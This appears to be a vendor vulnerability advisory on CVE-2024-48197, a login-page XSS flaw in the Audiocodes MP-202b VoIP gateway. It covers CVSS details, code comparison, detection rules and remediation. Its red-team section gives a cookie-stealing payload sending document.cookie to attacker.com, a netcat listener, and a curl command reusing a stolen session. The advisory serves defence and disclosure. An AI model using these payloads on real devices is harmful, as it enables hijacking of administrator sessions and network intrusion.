CVE-2024-48197
Executive Summary
CVE-2024-48197 is a Cross-Site Scripting (XSS) vulnerability in the Audiocodes MP-202b VoIP gateway firmware version 4.4.3. The flaw resides in the login page of the web interface, allowing a remote attacker to inject arbitrary JavaScript or HTML into the page. This can lead to privilege escalation by stealing session cookies, performing actions on behalf of an authenticated administrator, or redirecting users to malicious sites. The vulnerability is publicly known but remains unpatched by the vendor. No exploit code or Nuclei template has been published at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary embedded device firmware. The risk is primarily to end-user organizations that deploy Audiocodes MP-202b devices in their network infrastructure.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must click a crafted link or visit a malicious page)
- Scope: Unchanged
- Confidentiality Impact: Low (session data leakage)
- Integrity Impact: Low (malicious actions via admin session)
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the device's role as a network gateway increase the risk for targeted attacks.
Deep Dive & Mechanics
The vulnerability is a classic stored/reflected XSS in the login page of the Audiocodes MP-202b web interface. The login form does not properly sanitize user-supplied input before reflecting it back in the HTML response. An attacker can craft a URL containing malicious JavaScript in a parameter (e.g., username or error message) that, when visited by an authenticated administrator, executes in the context of the web application.
Attack Flow:
- Attacker identifies a vulnerable MP-202b device (e.g., via Shodan).
- Attacker crafts a malicious link:
http://<device-ip>/login?error=<script>alert('XSS')</script>. - Attacker sends the link to an authenticated admin (via phishing email, etc.).
- Admin clicks the link, the script executes, stealing the admin's session cookie.
- Attacker uses the stolen cookie to impersonate the admin and change device configuration (e.g., DNS settings, routing rules) to escalate privileges or pivot into the internal network.
Root Cause: Lack of output encoding on the error parameter or similar login page fields.
Vulnerable vs. Patched Code
Since no patch is available, we compare the vulnerable code pattern to a secure implementation.
Vulnerable Code (PHP-like pseudocode):
<?php
$error = $_GET['error'];
echo "<div class='error'>$error</div>";
?>
Patched Code (Secure):
<?php
$error = $_GET['error'];
echo "<div class='error'>" . htmlspecialchars($error, ENT_QUOTES, 'UTF-8') . "</div>";
?>
The patched version uses htmlspecialchars() to encode special HTML characters, preventing script injection.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Vulnerable Audiocodes MP-202b (firmware 4.4.3) on the same network.
- A web browser with developer tools.
- A simple HTTP server to capture cookies (e.g.,
nc -lvnp 80).
Step-by-Step Exploitation:
- Identify the vulnerable parameter: Use a browser to navigate to
http://<device-ip>/login?error=test. Observe that "test" is reflected in the page. - Craft the payload: Use a payload to steal cookies:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - URL-encode the payload:
http://<device-ip>/login?error=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal.php%3Fcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E - Send the link to an admin (e.g., via email or social engineering).
- Capture the cookie on your listener.
- Use the cookie to access the admin panel:
curl -b "session=<stolen_cookie>" http://<device-ip>/admin
No exploit code from Exploit-DB is available.
Blue Team
Detection Steps:
- Monitor web logs for unusual
errorparameters containing<script>oronerrortags. - Deploy a WAF rule to block requests with
errorparameter containing<scriptorjavascript:. - Use network monitoring to detect outbound connections to unknown IPs from the device.
- Implement Content Security Policy (CSP) headers on the device if possible (unlikely on embedded firmware).
Honeypot Setup:
- Deploy a fake MP-202b login page that logs all input.
- Alert on any
errorparameter containing HTML/JavaScript.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/login?error=containing<script>tags. - Outbound connections from the device to unknown IPs on port 80/443.
- Unusual
Refererheaders pointing to the device's login page.
- HTTP requests to
- Host IOCs:
- Modified device configuration (e.g., DNS, routing).
- New admin accounts or changed passwords.
- Presence of unexpected JavaScript in the login page source.
- File IOCs:
- Log entries showing
errorparameter with encoded JavaScript.
- Log entries showing
Detection Engineering
YARA Rule
rule CVE_2024_48197_XSS_Audiocodes {
meta:
description = "Detects XSS attempts against Audiocodes MP-202b login page"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-48197"
strings:
$xss_payload = /login\?error=.*(<script|<img|<svg|onerror|onload|javascript:)/
condition:
$xss_payload
}
Sigma Rule
title: Audiocodes MP-202b Login XSS Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects XSS attempts against the login page of Audiocodes MP-202b
author: Valters IT
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/login?error='
cs-uri-query|re: '(<script|<img|<svg|onerror|onload|javascript:)'
condition: selection
falsepositives:
- Legitimate error messages containing similar text (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-48197 Audiocodes MP-202b Login XSS Attempt"; flow:to_server; content:"/login?error="; http_uri; pcre:"/(<script|<img|<svg|onerror|onload|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate affected devices from the internet if possible.
- Restrict access to the web interface to trusted IPs only (firewall rules).
- Disable the web interface if not required for operation.
- Monitor logs for exploitation attempts.
Long-Term Fix:
- Since no patch is available, consider replacing the device with a supported alternative.
- Contact Audiocodes support for a firmware update or workaround.
- Implement a reverse proxy with WAF capabilities in front of the device.
Compensating Controls:
- Use network segmentation to limit exposure.
- Enforce strong authentication (e.g., 2FA) if supported.
- Regularly audit device configurations.
Valters IT
DevSecOps & Cyber Threat Intelligence